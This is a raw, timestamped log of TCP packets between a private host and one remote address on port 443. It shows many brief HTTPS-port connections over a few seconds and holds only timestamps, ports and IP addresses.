Oct 30, 2024 06:17:31.976350069 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.976407051 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.976483107 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.976483107 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.976516962 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.976531029 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.976538897 CET	49947	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.976545095 CET	443	49947	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.978457928 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.978542089 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:31.978631020 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.978764057 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:31.978799105 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.135035992 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.135643005 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.135668039 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.136157990 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.136163950 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.268433094 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.268511057 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.268554926 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.268735886 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.268748999 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.268770933 CET	49948	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.268775940 CET	443	49948	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.271728992 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.271770954 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.271837950 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.272002935 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.272017956 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.504182100 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.504806995 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.504832983 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.505294085 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.505300999 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.633821964 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.633929968 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.633981943 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.634021997 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.634049892 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.634339094 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.634360075 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.634378910 CET	49949	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.634383917 CET	443	49949	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.637456894 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.637552977 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.637643099 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.637834072 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.637864113 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.684082031 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.687777996 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.687803030 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.690174103 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.690181971 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.715116978 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.715517044 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.715562105 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.716013908 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.716029882 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.739561081 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.739907980 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.739918947 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.740328074 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.740339041 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.815700054 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.815838099 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.815901995 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.816097021 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.816112041 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.816123962 CET	49950	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.816128969 CET	443	49950	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.819724083 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.819770098 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.819839001 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.819989920 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.820007086 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.846740007 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.846856117 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.846918106 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.846968889 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.847002029 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.847028017 CET	49952	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.847042084 CET	443	49952	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.849230051 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.849334002 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.849432945 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.849545002 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.849586010 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.878135920 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.878164053 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.878213882 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.878221035 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.878254890 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.878349066 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.878362894 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.878371954 CET	49951	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.878376961 CET	443	49951	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.880395889 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.880434990 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:32.880506039 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.880634069 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:32.880647898 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.009361029 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.009834051 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.009871960 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.010310888 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.010328054 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.139375925 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.139775991 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.139862061 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.139888048 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.139991999 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.140023947 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.140047073 CET	49953	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.140296936 CET	443	49953	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.143107891 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.143183947 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.143300056 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.143446922 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.143466949 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.380691051 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.381298065 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.381356955 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.381745100 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.381762028 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.509728909 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.509820938 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.509886980 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.510096073 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.510119915 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.510133028 CET	49954	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.510139942 CET	443	49954	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.513391018 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.513437033 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.513519049 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.513736963 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.513747931 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.570650101 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.571363926 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.571424007 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.571724892 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.571739912 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.579540014 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.579858065 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.579894066 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.580216885 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.580226898 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.624938965 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.625536919 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.625550032 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.625880003 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.625885010 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.701128006 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.701216936 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.701281071 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.701586008 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.701621056 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.701657057 CET	49956	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.701673985 CET	443	49956	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.705842018 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.705878019 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.705945015 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.706396103 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.706408978 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.713315964 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.713392019 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.713457108 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.713520050 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.713556051 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.713612080 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.713697910 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.713732958 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.713759899 CET	49955	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.713774920 CET	443	49955	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.717890978 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.717928886 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.718024015 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.718184948 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.718199968 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.757451057 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.757538080 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.757595062 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.757778883 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.757797956 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.757808924 CET	49957	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.757814884 CET	443	49957	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.761198997 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.761214972 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.761281967 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.761480093 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.761493921 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.886522055 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.887223959 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.887264013 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:33.887716055 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:33.887729883 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.017201900 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.017296076 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.017384052 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.017411947 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.017467976 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.019644976 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.019702911 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.019789934 CET	49958	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.019807100 CET	443	49958	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.023406029 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.023447990 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.023542881 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.023682117 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.023698092 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.262608051 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.263284922 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.263308048 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.263753891 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.263760090 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.397161007 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.397329092 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.397423983 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.400773048 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.400796890 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.400808096 CET	49959	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.400813103 CET	443	49959	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.403965950 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.404000044 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.404084921 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.404226065 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.404237986 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.448074102 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.448760033 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.448779106 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.449251890 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.449255943 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.452538967 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.452912092 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.452925920 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.453228951 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.453233957 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.490225077 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.490837097 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.490845919 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.491308928 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.491317034 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.580507040 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.580590010 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.580646992 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.580811977 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.580826044 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.580836058 CET	49960	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.580841064 CET	443	49960	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.581403971 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.581492901 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.581551075 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.581568956 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.581597090 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.581664085 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.582144976 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.582144976 CET	49961	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.582168102 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.582175970 CET	443	49961	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.584742069 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.584784985 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.584851980 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.584913015 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.584938049 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.584980011 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.585064888 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.585079908 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.585242987 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.585257053 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.619302988 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.619389057 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.619455099 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.619651079 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.619657040 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.619687080 CET	49962	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.619690895 CET	443	49962	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.622591972 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.622636080 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.622706890 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.622852087 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.622867107 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.776273012 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.776925087 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.776953936 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.777287960 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.777295113 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.908077002 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.908119917 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.908181906 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.908214092 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.908243895 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.908447027 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.908447027 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.908464909 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.908480883 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.911319017 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.911345959 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:34.911461115 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.911569118 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:34.911582947 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.141514063 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.142030001 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.142050028 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.142518997 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.142525911 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.272012949 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.272099018 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.272169113 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.272413015 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.272432089 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.272443056 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.272448063 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.275626898 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.275655985 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.275748968 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.275923014 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.275933981 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.315514088 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.316190004 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.316199064 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.316845894 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.316853046 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.329986095 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.330246925 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.330267906 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.330584049 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.330589056 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.363876104 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.364274979 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.364299059 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.364654064 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.364659071 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.444634914 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.444677114 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.444732904 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.444797993 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.444839001 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.447915077 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:35.447937965 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:35.447949886 CET	49966	443	192.168.2.4	13.107.246.45
